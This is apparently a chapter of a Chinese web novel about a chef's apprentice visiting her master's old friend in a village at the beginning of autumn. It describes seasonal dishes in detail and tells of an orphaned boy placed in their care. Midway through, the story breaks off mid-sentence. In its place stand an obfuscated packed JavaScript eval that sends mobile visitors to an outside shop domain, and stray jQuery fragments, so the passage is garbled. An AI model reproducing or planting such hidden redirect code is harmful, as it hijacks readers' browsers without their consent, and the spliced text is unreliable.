时至立秋，白日暑气浓重，国槐依旧浓绿，蝉鸣有一搭没一搭的继续着，秋意悄然萌芽。
林知白坐在晃晃悠悠的老旧面包车上，前面乘客边上的窗被拉开，她感觉自己被风糊了满头沙土，时不时还要经过满是牛粪猪粪不知名动物粪的果园子，她难捱地捂住口罩。地里玉米长得比人高，形成厚重的绿色青帐。风穿过连片秸秆，掀起层层叶浪，听得见沙沙的响。
从早晨天不亮开始坐车，到现在辗转倒车，已经两点了！
昨天的下午两点师傅正考校她厨艺，三菜一汤。
师傅说，“你做的菜越来越标准了。”
林知白知道，这绝不是夸赞，每位大厨做的菜都有自己的味道，偏她没有。从她很早的时候，叔伯都夸她天赋异禀，能精准复刻出每一道菜肴，于此一路早就超越了无数人的终点。可师傅会说“你做的菜没有你自己的灵魂。”
年少时她还纳闷，她自己的灵魂还能在菜上？大了才渐渐明白师傅的意思，每个人做出的菜味道都是不一样的。就像有的人爱吃母亲做的菜，同样的做法不是母亲做的就不行。她做美食博主也是为了这个，却没想到越做越标准了。她已经停更两个月了，公司也提交了离职申请。按理说像她这种百万博主解约应该脱层皮的，不过并没有。得益于签约时穆行简找的业内权威律师的法眼，她解约很轻松。
师傅说，这次拜访的故人是她年少时的手帕交，和她有着数十年的情谊。
吱——唤回林知白的注意。晃晃悠悠的老家伙停了，师傅叫她下车。她四处看看，周围有些摩托三轮，坐在上面的男女用一种饥饿的眼神盯着她们，好像上门了一群肥美嫩羊羔。
牵着她的老羊羔丝毫不惧，拉着她这只小羊羔的手冲到一个三轮前，语气豪横，“邓家坡，跑不跑！”
那人眼噌的一下亮了，也非常豪横：“跑！二位上车！”
于是她和师傅坐在一个没有篷的三轮车上开始了下一轮颠簸。“师傅，咱为啥不选那种带篷的嘞？”她听了一上午老大叔老大婶们说话，不自觉也带点方言口音。
风呼呼的刮，三人带车一起摇摇晃晃，“这条路树多，晒不着！带篷的太闷了！”
晃的习惯了，林知白开始观察这条路，灰白的水泥路，能通车，但她估计两个车并行就不行，跑这种三轮倒是很合适。
她想起来去年也是陪师傅下乡，师傅找了两个摩托车，他俩一人坐一个。结果那天下雨，那个车不知道怎么打滑，她人之间飞出去。
倒也没多严重，就是膝盖摔到骨头了，穆行简把她按在医院，天天去看着她，不好利索不让她出院……
穆行简……已经八月，他出国也就是这个时间了……
林知白忽然没什么看风景的兴致，旁边师傅好像察觉徒弟的低落，指着远处瓜地说：“诶呦，快快快，快看！”
“好大一片瓜地啊，知白是不是没见过这么大的瓜地？”
林知白随着师傅手指看去，一大片冬瓜卧在地上，有个少年吸引住她眼睛。
怎么说呢，太黑了。比前面骑三轮的大爷还黢黑，一头纯正的非主流黄毛，扛着大冬瓜径直往大车上放。
师傅也看见了，是苦命的人。她们都没说什么，安静的看起其他景色。
等颠簸到林知白感觉头发上的沙已经能种地的水平，终于到了这位神秘的故人家了。看着故人家的房子，她真想现场吟唱一首茅屋为秋风所破歌。
“知白，这边，不是那个。”
“哦哦。”林知白赶快拿着大袋小袋跟着师傅去了故人的房子，比之前那个强，方方正正的石头砌成的房子，看起来年份很老了，却很干净。
老人躺在竹木摇椅上晃晃悠悠，院里有个小菜园，菜正是旺盛的时候。旁边大母鸡在地上叨食吃，大黄狗懒洋洋的趴在门口，院里还拴了只雄赳赳气昂昂的大白鹅。
“阿茹啊！”师傅感情充沛的喊了一声，林知白听着觉得师傅马上要上台朗诵。
结果马上来了一个丝毫不逊色的声音，苍老的声音里透着兴奋，“焕君！”
两个老小孩重逢，险些掉下泪来。太阳从天上落到西边的时候，她们还在拉着手聊天。
林知白坐在门口逗弄着大黄狗，是乡下的土狗，很亲人很乖，知道她是客人就不叫了。大大的黄狗叫小黄，她不由得笑了一下。她好像意识到什么，伸出手摸了摸自己的酒窝。这是她两个月以来第一次发自内心的微笑。
小黄一会儿把头乖乖的塞到她怀里，一会儿就拿屁股压着她的脚。许奶奶说这小黄喜欢她。真好，她也喜欢小黄。
快到傍晚的时候，两个老人还在聊，林知白看了一眼天色，自觉的走到厨房。她应当是个很合格的厨子，因为一但开始做菜，她就可以平静下来，暂时的把脑里纷乱的情绪事撇开，这一刻她只属于自己。
师傅说过，立秋呢就要吃老鸭汤，这个叫贴秋膘。她拿出宰好的老鸭准备做一道清炖老鸭汤。这老鸭是两年以上的土鸭，肉质肥美。鸭肉性凉、肥而不腻，是入秋平补首选。再放入姜片薏米小火慢炖，汤清肉烂。
林知白盯着老鸭汤锅下飘摇的火苗，心渐渐的平静下来，她想起学厨的时候，师傅讲这清炖老鸭汤讲究三放三不放。一放老姜去腥，二放酸萝卜提鲜解腻，三放薏仁、莲藕增滋补。不放五香粉、花椒、八角。这几样味道太重破坏鲜味本味……
立秋湿气仍在，紫苏独特香气能驱散体内湿气。牛肉逆着纹路顶刀切，切好后打水上浆，牛肉快速滑炒，滑嫩不柴。正适合给老人换季提振胃口。
有道是“秋藕最养人”，这时候新藕脆嫩多汁，刚好润秋燥。简单清炒就能保留清脆口感和清甜本味。林知白起火烧油，开始做清炒莲藕。地道的清炒莲藕吃的是清、脆、甜。炒出来玉白透亮，边缘要带一点点淡琥珀色。闻起来只有藕本身的植物清香，混合着淡淡的米醋和葱油香气。食客咬一口就是咔擦的脆响，不仅咬断能看得见明显的“藕断丝连”，而且咀嚼起来又脆嫩无渣。
再来一道冰糖蒸秋梨解燥意，立秋后燥气渐起，她选了雪梨，皮厚肉细水分足。挖空梨核放入□□糖，再把梨盖盖回去用牙签固定，先蒸后焖，温和又滋润。
饭做好的功夫，大门发出“吱呀——”的声响，林知白向外看去，愣了一下。许茹老太太带着一个男生回来，正是来时路边看到的那个黄毛少年。
老太太介绍男生叫李书成，当他是亲孙子看的。林知白打量他，衣服旧但整洁，指甲缝也干干净净。
老鸭汤汤色鲜亮，冒着鸭肉特有的鲜香。紫苏炒牛肉香味霸道，带着些微薄荷凉意，肉片油亮挂汁，深绿带紫的叶子形态完整，带着点轻微的滋滋声。秋藕玉白，带着本真的植物香气。
林知白事先以为只有三个人，好在她刚把这三盘端出来，随机应变回厨房加了个凉拌秋葵和一份冰糖蒸秋梨。
凉拌秋葵并不麻烦，秋葵焯水两三分钟捞出过冰水，沥干后去蒂，斜切成段后摆盘。再把事先调好的料汁淋在秋葵上就完成了。
许茹老太太狠狠的吸了一口香气，打趣道：“焕君，我看你这徒弟要青出于蓝咯！”
师傅含蓄笑笑，但林知白知道她也是满意的。除去她菜的灵魂问题，毫无其他问题。
许茹老太太尝了一口老鸭汤，入口醇香回甘，口感清爽不油腻，好香！鸭肉烂而不散，一口下去轻易脱骨，带着一点嚼劲但不发柴。
一股带着薄荷凉意的霸道清香勾住了李书成的注意，是紫苏炒牛肉。一口下去，牛肉滑嫩到几乎不用大力咀嚼，叫下去肉汁渗出，裹着紫苏叶子满口清新。
师傅夹了一筷子秋葵，凉拌秋葵清脆滑嫩，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17841609|211663||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
正好解鸭汤的油腻。
林知白夹了一片秋藕，藕片切的薄，嚼起来脆脆的，她想到了望潮，其实有人最爱吃那个，每次吃都说像咬住了夏天。她眼底有点发热，低着头强忍着不让人发现。
食过五味，只见许茹老太太直起身，拉着师傅的手，嗓音沙哑：“焕君啊，我们相交了一辈子。我今天，拜托你一件事。”
师傅看着对方老态龙钟的脸，明明是一样的年纪，回握住老朋友的手：“阿茹你说。”
许茹一手握着好友的手，一手牵过李书成，“我这孩子是个好孩子，他爸赌钱躲债去了，妈也跑了，赚点钱都给他奶奶交医药费了，结果他奶奶不争气，去年冬天没熬住。我活不了多久了，”许茹揩了把眼里的泪，“焕君，你走南闯北的，有没有门路给这孩子找条活路？”
许茹拉着男生的手碎碎的念，说他搬一天冬瓜一百，他还不大的时候就跑去干。说他本来学习很好，可是他爸欠了钱，要债的砸了他们家，他只好去打工还钱。说来的时候知白看到的那个破房子就是他家，现在地也被他爸抵出去了。说他是个可怜的孩子。
李书成拘谨的站在那，低着头一言不发，只好盯着旁边凳子瘸了的腿看。他一点不想去，可是许奶奶坚持，说不能让那些讨债的毁了他。可他已经能自己赚钱了啊。
师傅拍了拍她的手，沉默一瞬：“阿茹，你也跟我回去吧。”
许茹知道师傅这是答应了，弯唇笑笑：“焕君，你不用管我，人要落叶归根的。我这一辈子，是要葬在这的。我那早死的老头子等着我，我不孤单。”
“这孩子的奶奶救过我和老头子，我记她的恩。那就拜托你了。”
气氛有些压抑，林知白闻到冰糖蒸秋梨溢出来清甜的香气，就知道到出锅的时候了。林知白去厨房把四碗汤盅端出来，静静地放在每个人跟前的桌上。
许茹抹了一把脸，笑一笑，伸手打开盅盖。只见梨身不塌陷，表皮呈淡琥珀色。扑面而来梨子的果糖焦香，混合着冰糖的清甜。梨肉一入口完全酥烂，几乎吃不出纤维，咽下去清润回甘，满口留香。
许茹说话的时候，师傅看了一眼林知白。她刚端出四碗冰糖雪梨，安静的放在每个人面前。她看着长大的孩子她知道，知白心地好，容易心软。按理说这样的人做菜是最容易找到自己的味道的，可知白不是。她的厨道好像无坚不摧，不被外物打扰。于是这些所谓的人味儿也好、情味儿也罢，都离她的菜远远的。
她的厨艺早已经不是她能教的了，只是她就这么一个徒弟，从小到大当自己孩子养的。知白最近状态不好，她希望知白能开心一点，有人或事分分她的心也好。
气氛终于不那么沉重了，林知白端着自己的那份去院子里透气。月色疏朗，小山村也有好风光。
李书成跟了出来，“许奶奶把我托给你们了。”
林知白回头看他，点点头。她最近情绪不高，一个人的时候总不怎么想说话。
男孩看起来年龄不大，说话老气横秋：“我不跟你们走。”
林知白歪头：“那你跟你的许奶奶说。”
男孩噎住，瞪她，语气低了下来：“可我答应她了。”
“哦，我们也答应她了。”
“……”
“你多大了？”
“十六岁。”
“我已经能自己赚钱了。”少年声音青涩，带一点倔强。
林知白点点头没再说话，继续看月亮。刚立秋的月亮褪去盛夏的雾气朦胧，清透，高远。
北京并不是个总能看到月亮的城市，那儿总是积云，入夜云层也不愿意散。她很久没见过月亮了。
今夜留宿，林知白看了很晚的月亮才被师傅催回去睡觉。
“知白——”师傅的声音温和清健，“我岁数大了，这孩子可就交给你了。”